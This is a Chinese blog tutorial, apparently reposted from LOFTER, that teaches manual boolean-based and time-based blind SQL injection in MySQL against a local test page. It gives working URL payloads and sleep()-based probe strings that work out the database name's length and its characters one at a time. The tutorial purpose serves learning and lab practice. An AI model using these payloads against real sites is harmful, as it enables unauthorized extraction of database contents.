作者:Max老白Gān丶
链接:http://www.lofter.com/lpost/1fefbc76_12d25dc31
来源:LOFTER

  • 注入常用到的几个函数
  •  
    1
    mid(str,1,3)

    字符串获取

    这里我们要看到123456789 从第一个字节也就是1开始获取到3就截止了

  •  
    1
    ORD()

    转换为ASCII码

    我们看到这里把a转换成了97 我们去看对照表

  • 1
    Length()

    统计字节长度

  •  
    1
    version()

    查看数据库版本

  •  
    1
    database()

    查看数据库

  •  
    1
    user()

    查看当前用户

首先我们确定注入了验证要先获取数据库长度

1
2
and length(database())
or length(database())

我们先看一下数据库中sqltest长度【其实就是7个】

小知识点:有数据用and 没数据用or

1
http://localhost/test.php?id=1and length(database()) >1 #
1
and length(database()) >1 #:

意思是数据库的长度是否大于1
没有变化以此类推
发现变换

这时候我们要确定他到底是多少字节

 
1
http://localhost/test.php?id=1' and length(database()) = 8 %23

他等于8吗?不等于

他等于6吗?不等于

他等于7返回正确页面说明他的字节是7

现在我们获取数据库名字:

1
http://localhost/test.php?id=1' and mid(database(),1,1) ='1'%23
 
1
mid(database(),1,1) ='1'

:它的意思是从第一个获取每次只取一个 它等于1吗?
很显然不等

然后修改后面的以此类推我们试到

 
1
http://localhost/test.php?id=1' and mid(database(),1,1) ='s'%23

返回true的正确页面

如果我们想获取第二位第三位怎么办?

 
1
2
3
4
5
6
7
mid(database(),2,1)
mid(database(),3,1)
mid(database(),4,1)
mid(database(),5,1)
mid(database(),6,1)
mid(database(),7,1)
http://localhost/test.php?id=1' and mid(database(),2,1)  ='q'%23

剩下的我就不一一获取了学习这样方式就明白了。

延时注入方法:

常用的判断语句:

1
2
3
4
5
6
7
8
9
' and if(1=0,1, sleep(10)) --+   
 
" and if(1=0,1, sleep(10)) --+
 
) and if(1=0,1, sleep(10)) --+
 
') and if(1=0,1, sleep(10)) --+
 
") and if(1=0,1, sleep(10)) --+

为什么我和布尔注入写在一个文章里面哪?因为他们操作的流程是差不多的。

延时了10秒确定存在注入。

获取数据库长度利用上面的知识:

1
'and if(length(database())=9,sleep(10),1)--+

意思是如果数据过长度等于9他就延时10秒

1
'and if(length(database())<6,sleep(10),1)--+

如果一开始不知道他长度可以用这个大致判断的长度然后用上面的等于确定
长度小于6吗?没有延迟不小于6


小于9吗?

延迟成功表名数据库小于9 也就是说数据库长度在6-9之间

1
'and if(length(database())=7,sleep(10),1)--+

一 一测试我们确定长度是7

获取数据库名字:

1
http://localhost/test.php?id=1' and if(mid(database(),1,1) ='s',sleep(10),1)--+

十几分钟让你学会MySQL布尔和延迟盲注手工操作的更多相关文章

  1. mysql基于“时间”的盲注

    无需页面报错,根据页面响应时间做判断! mysql基于时间的盲注 =================================================================== ...

  2. DVWA-基于布尔值的盲注与基于时间的盲注学习笔记

    DVWA-基于布尔值的盲注与基于时间的盲注学习笔记 基于布尔值的盲注 一.DVWA分析 将DVWA的级别设置为low 1.分析源码,可以看到对参数没有做任何过滤,但对sql语句查询的返回的结果做了改变 ...

  3. Bugku-CTF之login3(SKCTF)(基于布尔的SQL盲注)

    Day41 login3(SKCTF)

  4. MYSQL注入天书之盲注讲解

    Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面.此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注.从ba ...

  5. [MYSQL手工注入](2)基于布尔的SQL盲注实战

    0x02 MYSQL 手工注入实战--基于布尔的SQL盲注 前言,之前有对MYSQL基于报错的手工注入进行过介绍,但今天的实验环境,并不是基于报错的SQL注入,而是一个基于布尔的SQL盲注测试流程. ...

  6. 盲注----基于布尔的SQL盲注

    构造逻辑判断常用字符串截取函数http://www.cnblogs.com/yyccww/p/6054569.html常用函数left(a,b)  从左侧截取a的前b位right(a,b)  从右侧截 ...

  7. Sqli-LABS通关笔录-5[SQL布尔型盲注]

    /* 请为原作者打个标记.出自:珍惜少年时 */   通过该关卡的学习我掌握到了 1.如何灵活的运用mysql里的MID.ASCII.length.等函数 2.布尔型盲注的认识 3.哦,对了还有.程序 ...

  8. 半天做完的数据报表,YonBuilder只要十几分钟,0代码开发

    进入数字化时代,拍脑袋的决策方式显然不靠谱,一切要靠数据说话.与信息化时代相比,数字化时代的企业对数据的应用更广泛.更深入.为了应对激烈的市场竞争,企业经营决策者们对数据的依赖度越来越高,企业各个业务 ...

  9. 【转载】一个小时学会MySQL数据库

    一个小时学会MySQL数据库   目录 一.数据库概要 1.1.发展历史 1.1.1.人工处理阶段 1.1.2.文件系统 1.1.3.数据库管理系统 1.2.常见数据库技术品牌.服务与架构 1.3.数 ...

随机推荐

  1. uni-app 在input获取焦点(弹出软键盘后收起软键盘),页面不下滑,留下下方空白

    加入收起软键盘时让页面回正 uni.pageScrollTo({ scrollTop: 0, duration: 0 });

  2. 在js中获取上传图片的宽度和高度

    Html: <input type="file" id="MapUploadTd" onchange="getMapPictureSize(th ...

  3. SSM框架中写sql在dao文件中以注解的方式

    1以注解方式 //两个参数其中一个是对象需写,对象.属性 @Update("update delivery_address set consignee = #{address.consign ...

  4. springboot整合mybatis开发

    1创建项目,在启动类上添加映射扫描注解 2导入依赖,添加mybatis generator自动生成代码插件 <!-- mybatis generator 自动生成代码插件 --> < ...

  5. 论文阅读笔记五十一:CenterNet: Keypoint Triplets for Object Detection(CVPR2019)

    论文链接:https://arxiv.org/abs/1904.08189 github:https://github.com/Duankaiwen/CenterNet 摘要 目标检测中,基于关键点的 ...

  6. JavaScript复制文本探究

    JS复制文本基本分为两步-First: 选中需要复制的节点,及选区:Second: 执行document.execCommand('copy')命令复制 对于选区,属于HTMLInputElement ...

  7. ssh 连接不上报Connection closed by remote host

    解决办法 (1)查看这两个文件是否有阻止cat /etc/hosts.deny cat /etc/hosts.allow (2)客户端连接数过多修改/etc/ssh/sshd_config中#MaxS ...

  8. Selenium之Selenium IDE

    官方文档:https://www.seleniumhq.org/docs/02_selenium_ide.jsp 1.       Selenium IDE介绍 Selenium IED (Integ ...

  9. Android进阶:七、Retrofit2.0原理解析之最简流程【下】

    紧接上文Android进阶:七.Retrofit2.0原理解析之最简流程[上] 一.请求参数整理 我们定义的接口已经被实现,但是我们还是不知道我们注解的请求方式,参数类型等是如何发起网络请求的呢? 这 ...

  10. 机器学习之--kmeans聚类简单算法实例

    import numpy as np import sklearn.datasets #加载原数据 import matplotlib.pyplot as plt import random #点到各 ...